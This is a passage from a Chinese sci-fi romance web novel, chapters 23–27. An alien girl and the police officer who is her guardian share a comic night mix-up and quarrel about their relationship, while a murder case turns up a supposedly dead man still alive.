“是吗?这么巧,我也喜欢吃耳朵。”康屿安一脸浮夸的惊讶,却选择隐藏实力,日后,说不定会有大大的惊喜哦。 “心真大啊!”端砚揉搓着脸:“你是最后来到这个家的闺女,为啥后来者居上了,比我俩都得宠?想过没?反正换了我,将来遇到突然对我很好的人,我还是要防备着点的。” 康屿安嘴角差点压不住:和小孩聊天,没点脑洞都显得自己格格不入呢! “端砚,我和妈出去一趟,你俩在家锁好门,谁叫也不要开门知道吗?如果回来晚了就不要等我们,自己早点睡,好好刷牙别凑合!” 端戊嘱咐着端砚,视线自然而然地就落在了康屿安身上。 灰色的长发还是半干着,散落在粉白格子的睡衣上、瓷白的脸颊上。整个人窝在沙发里,极为放松的枕着靠背,两条小腿搭在一起,马卡龙色的小脚丫搭在沙发边缘,有一下没一下的晃悠着。 紫色眼眸里戏谑的笑意是端戊没见过的,更没见过她如此松弛的样子,原来她只有在端砚面前才不设防。 自己是哪里做的让她不信任了呢? “康屿安,你也是。”端戊空灵的嗓音混进了一丝低哑,让康屿安听出了禁欲的性张力。 嘱咐孩子的语气配上性感的低音炮,地球人都是这么表达爱的吗? 审讯室枯燥的寂静中,端戊审视着黑色椅子上不停变换坐姿的卜老板,灰白的头发在脑后随意挽着一个髻,眼睛有点像青蛙,嘴巴也像,鼻子塌塌的。 上班这么久了,洗衣店老板是第三个坐在审讯室里的人,前两个人,一个正躺在自己家的沙发上,一个坐在自己旁边打着哈欠。 不会又审出一个自己人吧? “滴滴滴滴!”端戊面前鼠标形状、文件共享的DID响了,端戊等待的文件来了。 卜老板像是屁股上长了刺,顿时悬起身体坐直,脖子都快要探到端戊面前了。 “端家姑娘,可以证明我是无辜的了?我是不是可以回家了?” 端戊给了卜老板一个安抚的眼神,快速浏览接收的文件。 尽管卜老板看不到端戊面前的隐藏屏幕,依然更用力的探出脖子:“我就说那箱肉和我没什么关系,我就是在那家超市买的,送人家的礼物哪有先打开的道理,我真是一眼都没看啊!我可以回去了吧?” “不好意思,你还不能走,你所说的那家超市地址,就是个空房子。你刚刚交代的情况,现在都无从查证。” 端戊正色端详着卜老板,从焦急程度来看,不像是假的,可是,警方讲的是证据。 “怎么可能,返回地面后,我一直那家超市买东西,超市虽然不大,可是肯定不止我一个人去过啊!每次逛超市时,里面也有其他人啊!娃,你们去查一下啊!”卜老板原本微 突的眼睛,突出的更厉害了。 “卜姨你先别急,你回忆一下,你去那个超市时,有没有碰到过熟人,街坊邻居什么的有碰到过谁?” 卜老板的一声娃,把端戊叫的心软了,平心而论,她也是不相信卜老板会杀人的。可是,放人是要讲证据的啊,而现在,只有羁押的证据,她卜姨想回去,门和窗户都没有。 这不,卜老板当时就傻眼了:“你不说我还没觉得有啥,你这一说,是挺不对劲啊!超市开在咱这巷子里,我去了那么多次,咋就一次都没看到过邻居或者熟人呢?” “现在,你不但不能证明你是在那个超市买的,连这个超市存在过,都无法证实。你再好好想想,最近碰到过什么奇怪的事或者人。”端戊尽可能的安抚卜老板的情绪。 “卜姨最近碰到的事,你不都是知道吗?我也想知道到底是咋了,我还在等消息呢!我半辈子都没和谁红过脸吵过架的,咋可能杀人?卜姨啥时候能回去啊?”卜老板也确实是老实人,嘴巴快扯到耳朵了,快要急哭了。 “你暂时还回不去,我们在你洗衣店柜子里找到了一把刀,从上面提取到和死者相同的DNA了。”端戊尽可能放缓语气,她并不会安慰人,更何况现在证据就奔着确凿去的。 “娃!你要救卜姨啊,你相信我,我没杀人!”卜老板的天彻底塌了,情绪彻底崩了。 从审讯室出来,端戊的心有些堵着慌,她知道自己不能感情用事,不用感性判断案情,可是她还控制不了情绪。 “师父,今晚我就是个工具人吗?”辛瑙估计是困了,平时挺机灵的,这会儿很没脑子的撞到枪口上了。 “喊你来是让你当吉祥物的吗?耳朵脑子都睡着了?回去好好看今天的审讯回放,写一份五千字以上的案情分析报告,明天下班之前给我!” 其实每次端戊骂完辛瑙,都会有些后悔,可以好好的说嘛。可是辛瑞总是在端戊不同的雷点蹦迪,真是一点也忍不了。 挨骂辛瑙不怕!可是五千字的分析报告,真的是让她感觉到了一道寒气,从她的后脚跟直窜上了天灵盖。 这种透骨虐噬心的寒,此时只有康屿安可以感同身受了。 看着端砚刷完牙,俩人就各自回屋睡觉了。关灯后康屿安总是能感觉到黑暗中有一双、也许不只一双眼睛看着自己。 她只能不时的突然睁开眼睛,确定没事后再继续酝酿睡意,这么反复折腾,换了谁也睡不着啊。 “小北小北!”康屿安像是斗牛场里被激怒的小牛犊,倏地坐起来。 “在呢,怎么了?”无界感知系统温柔的回应已经感应到了愤怒。 “把灯打开,调成适合睡眠的亮度!”康屿安挫败的抱紧膝盖。 “好的,主人,客厅的灯是要关掉,还是调成适合的亮度?”小北贴心的提醒康屿安,客厅的灯还没关。 “关了吧……”康屿安顿住了,客厅的灯她不是已经关了吗? 康屿安的手脚瞬间就凉了,凉意传遍全身,头顶的耳朵都冻哆嗦了。 她缓缓的看向高隐雾光门,半透明性质决定了透光性好,外面有光时可以看到外面的影子,从外面就什么都看不到了。 这时,客厅的灯把两道影子映在了门上。 24. 第 24 章 康屿安察觉到尾椎嗖嗖凉,寒气沿着她的血和肉、蔓延全身,手心脚心都是冷汗,胳膊、腿像灌了铅一样,耳朵无助地背到脑后。 并未听见端妈和端戊回来的声音啊? “端砚?”康屿安试探着喊出声,才发现牙齿和舌头正在打架。 没得到端砚的回应,投在门上的影子却发生了变化,像两张重合在一起的剪纸缓缓的分开后,并排站在一起。 “端砚!”康屿安并不指望能喊醒端砚,这个年纪的小孩子白天跑的最欢,晚上睡得最沉。想起了端戊的吐槽,她那种能打的人,哪会懂细胳膊细腿、没有多少战斗力的苦,这种时候能壮壮胆也是好的 就算是壮起来的胆儿也没多大,康屿安也不能放弃,震慑震慑也是好的啊,至少得让阿飘知道,自己不是一个人在家的。 任何未知的恐惧,康屿安都会推到飘的身上。 “端砚!端砚……” “咯噔咯噔咯噔……”还真的被康屿安喊来了,只不过不是端砚,是银河,座驾一样存在的四不像机器狗。 康屿安瞪大眼睛看着门上的投影,银河像是一只牧羊犬一样,在帅气的驱赶狼群,门外并没有太大的动静,可安全感就是咻咻飙升。 没多会儿,门外彻底安静了,只有银河的影子投在门上,欢快的小尾巴快摇成螺旋桨了,尾巴尖闪着小红灯,像是告诉康屿安危险已排除,轻松搞定,尾巴尖未沾灰。 康屿安穿上毛茸茸的小拖鞋就跑去开门,被守护的小羊羔搂住了凯旋的牧羊犬的脖子。 “好银河!还得是你,还是你靠谱!”康屿安抱住银河冰冷的脖子,却像是暖宝宝一样的温暖。 银河的尾巴尖噗地吐出那朵小花,蹭着康屿安的小耳朵以示回应。 激动过后,朝暮星人特有的敏锐苏醒了,康屿安再次感应到让她心里发毛的视线,和在云廊时的不舒服是一样的。 康屿安警觉地环视四周,端家的客厅走的是极简风,有点像家庭影院,一整面的超空显示墙,对面是一整排的奶油色沙发,茶几上空无一物。靠近厨房的是一处咖啡角,挨着咖啡角的便是长长的餐桌了。 唯一不对劲儿的,就是站在餐桌旁边的机器人二人组。 它俩并没有面对康屿安站着,可是康屿安就是觉得它俩在看她。 不管是不是它俩,康屿安都不想回到那个毛骨悚然的房间了。端砚的卧室门半开着,小夜灯的幽幽橘光从卧室里挤出来,像是吃瓜群众一样目睹着一切。 康屿安看了看银河的充电桩,看起来不太舒服的样子,站起来拍了拍银河的耳朵,毅然决然的挤进端砚的卧室,融进那一片暖黄。 “端砚,我可以进来吗?”康屿安看看自己的毛绒感拖鞋,呃,已经进来了。 “端砚,我今晚能和你挤一挤吗?我自己睡有点害怕。”康屿安咬紧下唇,看起来不太行的样子。 端砚的卧室比康屿安的卧室小了很多,小小的人当然睡小小的床,满满登登的在床上摆出来一个大字。 不要说挤下一个康屿安了,她自己随时都可能掉到地上。 康屿安正在门口踟蹰不定时,被一道冰凉缠住了小腿,差点惊叫出声,却看到是银河的小尾巴。 牧羊犬寸步不离的跟着小羊羔,竟能意识到了羊羔的进退两难,于是用小尾巴缠住康屿安纤细的小腿,一路拉出去了。 “那个,银河,好意我心领了,可是我住你那个充电桩,确实不合适。” 银河并不搭理她,闷头往前走,路过充电桩并未停下来。 “哎哎哎,你要带我去哪?你先放开我,我要摔倒了……”没想到银河的性格还有点钢铁直狗,根本没注意小羊羔被拖得踉踉跄跄。 银河把康屿安一直拖拽到最里边房间,房门口摆着迷你看门机器狗,是端戊的房间。 “你让我睡在这里,不好吧?”住了这么久,康屿安还没进过端戊的房间,就这么进去了、还睡了,唐突吧? 银河用它的开着花的尾巴尖指了指门口的迷你狗子,它俩同时闪出一道蓝光,还呼应上了?康屿安一脸懵逼地看着它俩沟通。 很快就看明白了:门口这小玩意儿,一定不单单是个摆设,这是地球门神吧?可以挡飘的那种。 想起在云廊时,落在耳朵上的那个吻,确定过恋爱关系了,应该不算唐突吧?这么一想,康屿安就底气十足的推门进去了,这是个灰蓝色渐变到中灰的房间。 康屿安绕房间转了一圈打量着:卧室不是最放松的地方吗?怎么冷淡成这样,像是一个书房,更像是机器人研发基地。即便开了灯,整个房间都显得昏暗,氛围太适合睡觉了。 折腾半个晚上了,既然氛围到位、困意即刻就席卷而来,康屿安有点理解了为什么端戊的房间是这个调调,好睡。 康屿安咬着唇想了好一会儿,最后才从床尾上去。手脚并用的爬,嘴也没闲着还念念有词:“床尾上,邪祟破……” 也不知道朝暮星的符、镇不镇得住地球上的飘,康屿安顾不上这么多,把自己整个人、连头都埋进浅灰色的被子里。 鼻息里是清冽的香,像是冬日里的霜雪,在阳光下融化晒暖,慢慢还变成了暖阳的后调。 这个味道,更好睡,康屿安再也撑不起越来越重的眼皮了,睡的格外踏实格外沉,就连房门被推开,有人进来都毫无察觉。 高大的黑影在门口迟疑了片刻后,径直走到床边大力的按住床上鼓包的位置,一把抓了出来。 “什么时候学会上床睡觉了,不好好在你的充电桩呆着,真拿自己当狗子了?” 端戊拎着银河开门丢了出去,舒坦的躺回被子里,全身都是释放酸楚的惬意,完全没注意到床的另一侧蜷缩的纸片人。 康屿安恍惚间倒是醒了,可是她睡得迷糊,以为在自己的房间里,眼睛都没睁开就继续睡了。 只是觉得有些奇怪,明明之前是融雪暖阳的凛香,这会儿怎么变成了果园的清香呢,还透着一股子沐浴露的味道。 洗去一晚疲惫的端戊几乎是秒睡的,不知过了多久,梦见有人抱住了她,软软滑滑的胳膊肘压在她的腹部上,软若无骨的小手搭在了胸口。 梦里的端戊是清醒的,知道这一切 不是真的。她也知道这个梦里的手是谁的,触感熟悉又真实,让她下意识的握住了压在胸口的手。 睡梦里的康屿安一点都不老实,不一会儿整个人都贴上来了,抬起一条腿压在端戊的双腿上,整个人都挂了上来。 端戊感觉到了压在她胳膊上的,是拳头大小的柔软,她还以为瘦成那样的康屿安是个飞机场呢,没想到不但有,盈盈可握的还挺适度。 突然间,端戊就有了尿感,可是她不舍得这个时间醒过来,强忍了忍,把挂上来的康屿安抱得更紧一些了。 两个人的体温骤然升高,被子就显得特别多余,被合力踹到了脚底下。端戊还在想:梦果然是反的,自己从小就体寒,手脚一直都是冰凉的,梦里却热的盖不住被子。 而且梦里还有康屿安投怀送抱,这如果在平常,怎么可能,不怼她都算康屿安对她好了。 就连憋着的尿感都比现实微妙,越来越难忍,却越来越不对劲,平时憋尿不是这样的,自己这个时候不是应该在梦里四处找厕所了吗?而现在难受的不是尿急感,而是憋闷感。 尤其是被康屿安的膝盖压着,即便是在梦里,端戊都觉需要大口的呼吸才行,节奏都急促了很多。 胸口那只小手还不停的摸索,像是在找什么?你在我身上能找什么啊? 端戊很快就知道了,小妖精,哦不,是小精灵摸到了自己睡衣扣子之间的缝隙,她那像是没长骨头的小手,想进来不是轻而易举吗? 梦里的端戊慌了,我是让呢?还是不让呢? 如果让她进来,端戊还真有点紧张,如果不让她进来,端戊还有些心有不甘,毕竟下一次就不一定梦到这种事了。 没有太多时间给端戊犹豫了,小手的指尖已经探进了衣襟。要么任由小手肆意妄为,要么把小手扼杀在衣襟口。 “砰砰砰!”拆门式敲门,不用说也知道是端妈。 “端戊,我进来了?我突然想起一件事儿没交代,不和你说我睡不着。” “好……进来说吧。”被搅了心跳过快又尿急的梦,端戊像是错过了一个亿一样失落。 可是她也知道,这梦肯定是再接不上了的,还是让端妈把门拆下来之前进来吧。 “闺女儿,我和你说……”端妈猛地推开门,情绪激动的就进来了,突然发现她觉得能破案的关键线索,她能不激动吗? 可端妈万万没想到,进来后能看到更让她激动的画面。 康屿安整个人挂在端戊的身上,白嫩的小手一半露在外面,一半在她闺女儿衣襟里面,小短腿骑在端戊的一条腿上。 端妈想拎棒子:虽然你妈确实不是外人,但是有些事情,还是要和你妈讲点隐私的,这也是你妈能看的吗? 惊醒的康屿安睁大并不太聚焦的紫眼睛,看似在看着端妈,实际上整个人还没完全开机,看得并不清楚。 “阿姨,是吃早饭了吗?几点了?”怎么感觉刚睡着就该起床了,太阳和月亮是跑着换班的吗? 又聚了会儿焦,康屿安发现门口毛茸茸的挂毯不见了,房间的颜色也不对劲,怎么灰不拉几的? 25. 第 25 章 康屿安的脑子比眼睛先醒过来了:这是端戊的房间。 眼睛随后也跟着醒了:这是端戊,我的手这是在干嘛? 康屿安像是被咬到一样,立刻把手从人家衣襟里拔出来,人在着急紧张时爆发力极强,精灵也是。 力气大的啊,把端戊的睡衣扣扯掉了一颗。 纽扣蹦哒着弹跳到端妈的脚下,来得早不如来得巧,端妈赶紧慢动作地蹲下去捡扣子:死嘴,我该说点啥? 端戊此时也被崩醒了,丹凤眼半睁半闭着有点眯缝眼,看着坐在自己床上的康屿安:“妈?” “阿姨在那呢?”康屿安把端戊的头,从右转推到左转,以为自己有点混乱,却比端戊清醒那么一点。 “你怎么在这?”端戊现在觉得,这会儿妈在哪这事儿,暂时没那么重要了。 端妈也这么想的:先别管我了,我也想知道是怎么个事儿,怎么和我原来想的不太一样呢? “昨晚,躺在床上时总感觉有人盯着我看,就开灯坐了起来,看到门上贴着一个影子,我大声喊端砚,端砚没醒,门上的影子倒是动了,变成了两个!而且我记得回房前我是关了客厅灯的,我更害怕了,幸好银河过来把黑影赶跑了,我不敢自己睡,端砚那又挤不下,银河就把我领到这来了,家里不会是有飘吧?” 康屿安对地球上有飘这事,深信不疑。 “不会!阿飘还欺生?专挑你一个人吓唬。妈,你蹲在这干嘛?”端戊起身去客厅查看和那俩机器人有没有关系,却看到端妈板板正正的蹲在门口。 “捡扣子呢!”端妈扬了扬手,很忙的样子。 原来是个乌龙?有事喊端砚?这如果是进来个贼,都得以为你在唱空城计。 “安安,不是昨晚是今晚,我俩刚回来,孩子真是吓坏了。”端妈坐过去安抚康屿安。 “不是早晨?还能再睡一会儿呢?”真开心!捡来的回笼觉格外的香。 “真可爱,闺女儿还得是软萌萌的,赶紧睡吧,我走了。”端妈起身就要走。 “妈,您刚说找我什么事?”端戊刚好回来,开门就看到了端妈。 “阿姨,我去你房间睡可以吗?”康屿安看端妈要走,赶紧在床的两侧找拖鞋,咦?鞋呢? “安安,阿姨房间的床和端砚的差不多,家里就端戊房间的床大,你今晚就在这凑合一宿吧?”端妈一只腿都迈出去了,才想起来端戊。 “忘了什么事了,明天再说。”话音未落,门已经关上了。 “凑合?忘了?”端戊看了一眼床尾的拖鞋:“睡吧,别找了。” “啊?哦。”被端戊的眼神催促着,康屿安扁扁的躺下去,被子拉过了头顶,看上去还没有银河藏在被子里明显,端戊帮她把被子往下拉了拉露出头来。 端戊在床的另一边躺下,扯了一个被角盖到肚子上,被角掀起一丝风吹进了裂开的衣襟,胸口一凉:刚刚我妈捡的是我的扣子,小精灵手劲还挺大。 修长的食指塞进扣眼里,大拇指从扣眼的里面摩挲着食指指甲。 刚刚还困到秒睡的两个人,这会儿怎么也睡不着了。 “你的地球居住证已经办好了,明天先陪你去研究所报道,办理完手续后我带你去把瞳视弄了,以后遇到事直接打给我。”听着康屿安在旁边不停的烙饼,端戊就知道她也没睡。 “你陪我去?单位不是有案子吗?”康屿安想起今晚发现的小耳朵,她还是挺想知道是谁的,不管认识不认识都挺让人难过的。 “今晚审讯得差不多了,明天的活辛瑙能应付,刚好抽出时间陪你。” 辛瑙怎么也想不到,一觉醒来,不但有五千字的报告,还有考核任务等着自己的,估计今晚睡觉做的都是噩梦。 “你对女朋友倒是细心、温柔、不毒舌……”原本康屿安对于自己草草定下感情大事还挺抗拒的,可是看到端戊为这段感情做出的改变,也就接受了一些。 “女朋友?”端戊脑子短路了一瞬,立刻明白过来是怎么回事了:“康屿安,那天在云廊说的初恋的事,还有那束花,不能当真的……” “端戊,不要以为我有多期待这么草率就定下来的关系!在我们朝暮星,从来不会有人拿感情说笑,说出口的就一定是固若金汤,不会改变。你对感情这样儿戏,不仅是对我个人的不尊重,更是对朝暮星传统的不尊重,你不能因为我们星球暂时的没落,就肆意践踏整个星球的气节!” 康屿安掀翻被子摔在了端戊的身上,一阵大风吹进端戊胸口,竟有点冷。 “我没有那个意思!那天生死攸关的,谁知道落地以后是人是盒?我也是一片好心,不想让你留下遗憾嘛。”端戊把摔到脸上的被子扯下来,胸口凉飕飕的,便把被子压在胸口双手抱紧。 “一片好心?我谢谢你啊!要好心到搭上一个吻吗?吻在朝暮星,就相当于相守一辈子的印章,你的好心这么随意的吗?”康屿安还没和谁这样吵过架呢,可是这是为星球荣誉而战,她不能弱下来一点。 “我还好心办坏事了!”端戊有点后悔曾经的那些个小聪明,还有和王校长的那些斗智斗勇,但凡学习各星球民俗时认真点,哪来今天的祸事? “错了就是错了,再冠冕堂皇的掩饰,也不可能是对的。”康屿安生在一个倔强的星球,长在一个传统的民族,钢铁般的风骨简直就是天生的,眼睛里揉不进一点沙子的。 “算了,我不想和你吵,我尊重你和你的星球,承认我们的关系,可以了吧?”端戊也不擅长吵架,只想平息康屿安的怒火。 “我不稀罕!”鞋也不找了,康屿安光着脚丫就跑了。 “怎么承认了也不行呢!哎?你干嘛去?你不是害怕吗?你……”端戊感觉康屿安摔门的劲风,直接呼到了她的脸上。 还好家里的门都是静音门。 一大早,端戊顶着两个黑眼圈从房间出来:“妈,康屿安怎么还没起?我一会儿送她去研究所,喊她起床了。” 端妈甩给端戊一个清新脱俗的大白眼:“等你去送,都可以接人家下班了,安安早就走了,说第一天不能迟到。” “自己走了? ”端戊的眼神瞬间就清澈了,现在朝暮星人有多危险她不知道啊! “哪能让她自己走,银河送的。”端妈转身就进厨房了,她有一肚子的问号,不知道先从哪个开始。 “银河?有事银河能保护她啊?”端戊追到厨房,嗯,好像还真能。 端妈拿出了两个保温壶,一粉一白,粉色的有点眼熟。 “哪个是我的?”端戊很自然的就默认这是两个人的。 “你在家里吃,两个都是安安的,她走的早我还没做好,你给带过去。” 一顿饭吃下来,味如嚼蜡、如坐针毡,端戊根本不不记得自己吃了啥。端妈一直坐在她的对面,欲言又止的等着她先交代。 她有什么可说的?如果是昨晚她还可以和端妈说,她和康屿安什么事都没有,可是今天再这么说,明显就是说谎,她亲手敲定的关系。 难不成和她妈说,今天康屿安走这么早,根本不是害羞不好意思见她,是昨晚和她吵架气的? 水环境生态修复研究所和外星防御清异局距离不远,是正门看不到正门、只隔一条街道的邻居。 和满院科技感灰,院墙和进出都和监狱有一拼的清异局比起来,水环境研究所更像是一个上世纪的生态公园,即使是在门口路过,吸进去的那几口空气都比其他地方的氧离子浓度高,口口精纯。 研究所在生态保护方面,挺有自己方法的,战争持续这么多年,全球几乎一片枯萎颓败,这里却绿意盎然的很。 身在其中,康屿安更觉得自己是走在百年森林里,甚至会有不怕人的小松鼠上蹿下跳。 康屿安听到身后有细碎的车轮滚动声,似乎有个遥控行李箱在后面追自己,好奇回头张望,还真是个和行李箱差不多高的机器人,拖着菜篮子似的挂车,确实是在追她呢。 “康屿安!康屿安!”机器人通过人形扫描,确认身份后,用很萌的机械音喊她。 康屿安停下来等机器人,她害怕小东西把挂车跑丢了。不出所料,挂车是为她准备的。 “康屿安,你有访客,所长让我来接你,请上车。”机器人扭过小屁股,把挂车漂移到康屿安旁边。 “回去和访客说,工作时间,拒绝来访。”康屿安用耳朵想,都知道来的是谁。 “康屿安,你有访客,所长让我来接你。”机器人像是听不懂话一样,执拗的坚持己见,其实它就是没听懂。 当沟通对象无法沟通时,强行沟通伤害的只会是自己,不如上车。 康屿安突然发现,端戊在某些方面还是挺厉害的,听说银河是她在学校期间,闲暇无聊鼓捣出来的,客观来说,除了颜值不在线,其他功能都在线。 小挂车的减震功能有点弱,有点颠哒。她都怀疑这玩意儿平时就是跑腿用的,取取快递,送送文件的,她一定是第一个坐这个小车的人。 但凡是第二个,这减震问题早解决了。 不出所料,在一块巨型琥珀形状的办公楼前,端戊一手一只保温壶,笑眯眯的看着她坐在小挂车里,颠颠哒哒就来了。 26.第 26 章 康屿安从机器人的小挂车上下来,屁蛋颠的生疼,刚想揉一揉就看到蔓藤覆盖了琥珀的办公楼前,端戊像一株成了精的向日葵,仰起盛开的瓜子盘,花茎直溜溜的站在门口,就连拎着两个保温壶的样子都是优雅里透着飒。 康屿安鸟悄儿地把手放下,下意识的挺直脊背,于是,端戊看到了一枝行走的百合,昂着傲娇和纯净,亭亭玉立地走到端戊面前。 “你怎么进来的?”康屿安记得,这地儿虽然看着像是个大花园,也算是个保密机构,不是谁想来就能来,想走就能走的。 更何况,端戊还大桶小桶的,不是应该先检查、后扣下的吗? “哦,忘了告诉你了,在地球上我是你的法定监护人。你归我管的同时,我还需要对你的行为负责……”说到这一重身份时,端戊多少显得得瑟的有点欠揍。 “你怎么不早说?”康屿安把下巴又抬高了一些,怎么就没仔细看合同条款就签了卖身契呢?这里面有她的事儿吗?她说的是真的吗? “说的好像提前说了,你就能有更好的选择似的。”端戊突然想起来辛瑙之前没得选时沮丧的德行。 而现在的端戊,竟然开始享受对方看不惯她、又干不掉她,最后还得和她成为一伙儿的感觉了。 哈哈哈! 康屿安把下唇都咬成了白色,庆幸自己年轻,心脏好、哪哪都好,没那么容易背过气去。 “有事吗?没事我要去忙了。”康屿安现在一点都不想看到端戊。 “给你送早餐,带你去办瞳视,不然找你都得靠运输机器人,我刚问过你家所长了,她说你今天唯一的工作就是熟悉环境,我打过招呼了,你吃完早餐,我们就去。” 康屿安眼睛翻成紫渐变色,自己果然没猜错,那个小挂车就是跑腿运物资的。 “我不去!”康屿安转身就走,她可没忘记,自己还生着气呢,你说去哪就去哪啊? “没有瞳视多不方便啊!找你都找不到。”端戊一把拉住康屿安的手腕,掌心的滑腻感顿时让她想起了昨晚的事情,脸上微热。 “谁会找我!”康屿安用力挣脱、纹丝未动:这是手吗?这是螃蟹钳吧? “我啊!”康屿安蓝紫渐变眼睛里,白色又多了一些,端戊只能搬出有些分量的:“我妈也会找你啊,还有端砚。” 听到端妈,康屿安便有些动摇了,以后就不能每天一起吃饭、每天都能见到了,说真的,她现在就开始有些想端妈了。 还有端砚,她总是有稀奇古怪的八卦和康屿安分享,虽然大多数她听来时也无从考证,可是又不影响当故事听啊。 “那,那你今天没事吗”康屿安还是有些端着的,不管怎么样,还得让端戊再坚持一下才行。 “今天只有陪你的这一件事,我已经和辛瑙交代过了,只要天不塌下来今天就别找我。”端戊就差拍着胸脯保证了。 “那好吧……”康屿安惦记瞳视也是很久了,毕竟朝暮星还是外置通讯呢。 猝不及防的神曲响起,端戊自己都吓一跳,不要说康屿安了:不一直都是静音的吗?怎么突然这么骚包? 端戊更是被震得脑袋嗡嗡的,内置的东西还是得温和点。 辛瑙是属曹操的吗?这么不禁念叨,端戊打开了瞳视外视屏:“什么事?天不是没塌吗?” “师父,这会儿看着是没塌,可是用不了多久可能就要塌了……”辛瑙满目愁容,那张亦正亦邪的脸、早就被端戊磨练的一脸正气了。 “我回不去,今天是你的考核,必须独立完成。”打脸来的太快了,自己的这张脸,端戊还是想保一保的。 “师父!不行啊……”辛瑙看了一眼屏内的康屿安,竟然和她视线对上了,机灵的小眼神转了三转:“诈尸了,考核超纲我搞不定!” 端戊看着辛瑙游离的眼神,一个念头闪过,虽然有些过于匪夷所思,可是不祥的预感压都压不住。 这张脸打了就打了吧:“康屿安……” “走吧,本来我也是不准备去的,我还有事。”康屿安抽回自己的手,脸上像绷上了木乃伊面膜,僵着一张脸就走了。 即便是放在心里暗戳戳的骂,康屿安都懒得骂端戊了,她觉得更该骂的是自己。 端戊赶紧追上去,把手里保温壶放到康屿安手里:“我下班来接你哈。” “想好了再说。”康屿安抱紧端妈的爱,不再看端戊一眼。 端戊噎着了:这个还真不好说,那就说点好说的吧。 “咱俩在公序舍的宿舍是紧挨着的!” 前后院的距离,端戊开着小乌龟,兜了一圈才回到清异局:是不是应该建议夏所长把停车场再开一个门,最好直通清异局停车场。 从电梯刚一出来,就看到在电梯口转悠的辛瑙。 “这么沉不住气,还是太年轻。”端戊数落着辛瑙,快步的朝办公室走去。 看到端戊回来了,辛瑙长舒一口气:“师父您算回来了……“ “我去看看,如果是乌龙,你看我怎么收拾你!”端戊嘴上虽然严厉,其实自己心里也是小鼓敲的咚咚响呢。 端戊认为辛瑙不是个胆小的,诈尸这种事也不是会乱说出来的。 其实,端戊还有点高估了她的逆徒,辛瑙跟在身后摸摸胳膊,扫下一地的鸡皮疙瘩。 留她一个人在局里真的是太吓人了,越害怕脑回路越清奇,最后都开始筹划着,如果全局的机器人都叛变了她该怎么跑,如果被抓了会把她怎么样?她该如何应对? 到了辛瑙的办公室,端戊一屁股坐在辛瑙的位置:“嗯,刚刚你干什么了?” “我调取了洗衣店附近的全维眼,发现有一个人连续几天都有出现在洗衣店,可是包裹的太严实,我扩大了搜索范围,最后,还真的有收获!在一个超市门口他和别人撞到一起帽子歪了,师父你看!” 辛瑙这会儿有点小兴奋,打开了做过高清处理的视频截图。 端戊看着有点眼熟,可是一时想不起来在哪见过。 “师父,是不是觉得眼熟?我也是看了很长时间,我给你换个角度你就认识了。”辛瑙像是发现新大陆似的,拉过来一把椅子坐在了端戊旁边。 “来,让我看看你的新发现。”端戊往一边挪了挪,给辛瑙让出发挥空间。 辛瑙把截图中的人放进重塑建模系统,输入了需要的动作和形态的系数。端戊一直以为辛瑙只有在玩游戏的时候,才有这个手速呢,现在看来,对小崽子都了解是不是有点少啊。 很快,经过辛瑙“洗髓后”用还原材料重新建模后,视频截图里的人,变成闭着眼睛躺在那里的尸体了。只不过,尸体和视频里一样带着口罩。 端戊刚想要骂辛瑙,口罩就不能处理一下吗?却认出了戴口罩的尸体建模,惊得差点从椅子上坐起来。 “金安!这不和金安骨骼肌肉重建出来的那个一模一样吗?这哪里是诈尸呢?这是没死啊!” 端戊终于知道为什么刚刚看着眼熟,却没认出来了,谁能把一个活人和一个死人联系到一起?尤其是你还知道这个人已经死的透透的了。 “师父,您回来之前,我已经再次把冷库里躺着的那个金安的DNA,和星际数据库核实过,躺着那个是真的。”辛瑙工作起来还是认真的,认真起来还是挺招人稀罕的。 “外面的那个只是和金安长得像而已吧?”端戊暗自松了一口气,长得像的人还大有人在,精灵也是有可能的啊。 “之前我也这样想过,可你看!”辛瑙把刚刚洗髓后的建模,和用金安自身肌肉和骨骼重建而成的金安,拖拽着重合到一起,十几秒后,屏幕上出现‘重合率可达99.99%。 “他俩是同一个人?怎么可能?”端戊这会儿相信了,辛瑙一点都没夸张。只有相同的骨骼,肌肉,才能得到重合度这么高的数据。 “所以,我才喊您回来啊!就这,哪敢直接报上去啊!今天祁局的秘书还问来着呢,那肯定是祁局的意思啊!老大还是很重视金安的案件的。”辛瑙大咧咧地靠在椅背上,既然主心骨回来、肋骨立刻就放松了。 端戊看着辛瑙那副灵魂飞上天,心无挂碍一身轻的样子,从内心而言,其实她是羡慕辛瑙的,辛瑙现在过的日子,不就是原本她该过的日子吗? 哪怕天塌下来,自然有个儿高的撑起来。 “那个人最后的影像消失在这个超市?”端戊凝视着屏幕,脸不觉降了十几二十几度,表情速冻。 “嗯,你看,他帽子被刮歪后,扫了一眼天视方向,估计也知道自己被拍了,进入超市就没再看到他出来。”辛瑙坐直身体,指着其中的一个画面。 “你不是正在用建模图像,扫描所有从超市出来的人吗?”端戊指着副屏上快速闪烁的画面,这段时间下来,辛瑙用着越来越得心应手了。 “嗯,一直在扫描,现在已经变成实时扫描了,可就是神了,像是能遁地似的,没出来过。”辛瑙无可奈何地耸耸肩。 端戊想起了康屿安,那是她的老师,会不会是师门秘术呢? 27.第 27 章 任何关系,在一起朝夕相处久了,都会生出默契来。 在端戊回想康屿安的遁地秘术的时候,辛瑙也在惦记着刚刚瞳视通话时,从屏幕里看到师父拉着康屿安的手腕。 八卦的心雀跃着上蹿下跳却无从问起,她不想找骂又迫切想知道,小脑子倏地灵机一动。 “师父,这个事要找康屿安过来问问吗?” “不用了,我下班回去问就行。”端戊紧盯着超市门口被扫过的一张张脸,一个个比对、无一吻合,椅子长了刺一样让她坐不住了。 “走,去超市看看。” 深港超市门口,端戊和辛瑙坐在小乌龟里,一人一根海盐冰淇凌,从舌尖享受到灵魂。 “师父,这车里所有的系统真的都是你自己做的?”辛瑙像是发现了新世界一样,摸了一路了还摸不够,满脸没见过世面的样子。 辛瑙本来还是很抗拒开着端戊这个小乌龟出外勤的,就像开了个玩具跑在路上。她的新越野车刚改装好,就想着出去炸个街得瑟得瑟。 再说了,出外勤怎么能让领导开车呢? 可是端戊说她的车太张扬了,说得好像这个小乌龟就很低调似的。 刚出发时还没察觉到小乌龟的香,直到进入隧道被堵得一动不动时,辛瑙已经开始路怒了。而端戊看了辛瑙一眼,单眉起飞着示意辛瑙:坐好了,看好了。 端戊从仪表盘里划出一个小小的悬浮屏,在上面划拉了几下,就出现了一个全新的系统,是辛瑙没见过的。 侧方三百六十度行驶是个什么东西?还能调整角度、坡度、防滑度和轮胎吸盘力。 